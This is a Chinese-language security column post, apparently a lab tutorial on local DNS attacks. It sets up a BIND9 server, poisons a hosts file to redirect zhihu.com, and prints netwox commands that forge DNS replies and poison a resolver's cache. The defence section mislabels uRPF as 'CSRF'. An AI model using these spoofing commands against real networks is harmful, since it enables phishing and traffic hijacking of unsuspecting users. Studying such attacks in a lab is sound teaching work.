網路安全live第三期:網路安全-本地DNS攻擊
來自專欄 ath0的安全筆記
本期live互動、答疑相關問題歸檔(有視頻):
【網路安全】釣魚網站本質本地DNS視頻中出現了一個小錯誤:
在第一個實驗之後,一定要將/etc/hosts文件中添加的信息移除!!否則,查看不到緩存中的數據!!!
專欄的實驗現象才是正確的現象,學生在自己動手做實驗的時候需要注意.理解萬歲!!!
移除:192.168.59.1 zhihu.com
釣魚網站本地DNS攻擊
當你瀏覽器中敲下知乎域名電腦做了什麼?
- 訪問網站概述
1.解析URL
2.DNS查詢
2.1.查詢本地瀏覽器DNS緩存
chrome://net-internals/#dnsfirefox: about:config
2.2.查詢本地hosts文件
/etc/hosts
2.3.查詢本地DNS伺服器
2.4.查詢上級DNS伺服器
- DNS協議概述
DNS(Domain Name System)通俗的講就是手機號碼和姓名備註的系統.
比如我自己的黑客筆記
域名是:hackbiji.top(http://isgt93.github.io)
IP地址:192.30.252.154
你更願意選擇輸入什麼?DNS就是將IP地址和域名對應起來的!
- 為什麼黑客能通過DNS協議釣魚
DNS欺騙示意圖:
DNS緩存中毒示意圖:
攻擊環境配置
- 虛擬機各主機地址
攻擊者:192.168.59.1普通用戶:192.168.59.146DNS伺服器:192.168.59.151
- DNS伺服器環境配置
1.安裝bind9
2.在/etc/bind/named.conf.options文件中添加:
options {dump-file "/var/cache/bind/dump.db";};
3.添加文件/var/cache/bind/example.com.db,內容如下:
$TTL 3D@ IN SOA ns.example.com. admin.example.com. ( 2008111001 8H 2H 4W 1D)@ IN NS ns.example.com.@ IN MX 10 mail.example.com.www IN A 192.168.59.151mail IN A 192.168.59.151ns IN A 192.168.59.151*.example.com. IN A 192.168.59.151
4.添加文件192.168.59
,內容如下:
$TTL 3D@ IN SOA ns.example.com. admin.example.com. ( 2008111001 8H 2H 4W 1D)@ IN NS ns.example.com.151 IN PTR www.example.com.151 IN PTR mail.example.com.151 IN PTR ns.example.com.
5.重啟服務service bind9 restart
.
普通用戶環境配置
- 編輯
/etc/resolv.conf
文件的nameserver
欄位為DNS伺服器IP地址. ping www.example.com
能ping通則說明配置成功!- 通過nslookup查看
www.example.com
的IP地址為192.168.59.151
.
root@ubuntu:/etc/bind# nslookup www.example.comServer: 127.0.1.1Address: 127.0.1.1#53Name: www.example.comAddress: 192.168.59.151
攻擊DNS協議
- 不要讓黑客接觸你的電腦,他會做什麼?黑客會在
etchosts
文件中添加下面的欄位,將網址強行映射到一個錯誤的IP地址!
192.168.59.151 zhihu.com192.168.59.151 www.zhihu.com
實際效果如圖所示:
- 不要相信黑客偽造的DNS應答報文,他怎麼偽造的?
netwox 105 -h "zhihu.com" -H "192.168.59.151" -a "ns.example.com" -A "192.168.59.151" -f "src host 192.168.59.146" -d vmnet8 -T 10
欺騙瀏覽器,告訴瀏覽器zhihu.com
的IP地址是192.168.59.151
,而這個錯誤的IP地址往往就是釣魚網站!
實際效果如圖所示:
- 小心把控DNS伺服器Cache時間,嚴防DNS Cache中毒!
咱們不欺騙普通主機了,現在來欺騙一下DNS伺服器,讓DNS伺服器緩存中毒!
netwox 105 -h "www.zhihu.com" -H "192.168.59.2" -a "ns.example.com" -A "192.168.59.2" -f "src host 192.168.59.152" -d vmnet8 -s "raw"
實際效果如圖所示:
來看看普通用戶知乎的IP地址
來看看咱們的DNS伺服器緩存
# rndc flush# rndc dumpdb -cache# cat /var/cache/bind/dump.db | grep zhihu
如何防禦DNS攻擊?
- 平時注意不要相信陌生人的電話
- 技術層面的CSRF防禦
CSRF可以有效的針對地址欺騙類的攻擊,嚴格模式有 2 個條件,只有同時滿足兩個條件的報文,才會被檢測通過.
條件 1:在路由器轉發表中,存在去往報文源地址的路由信息.
條件 2:報文的入介面與轉發表中去往源地址路由的出介面一致.
在Router C 上配置嚴格型 URPF,當攻擊者偽裝源地址為 Normal User 地址,
報文由 RA 介面進入 Router C,由於在 Router C 的轉發表中,去往源地址Normal User 的路由出介面為 RB,而偽造報文的入介面為 RA,該偽造報文在Router C 上直接丟棄,並且在對稱路由中 Normal User 可以正常訪問 Server.
如圖所示:
3.其他以後再說
推薦閱讀: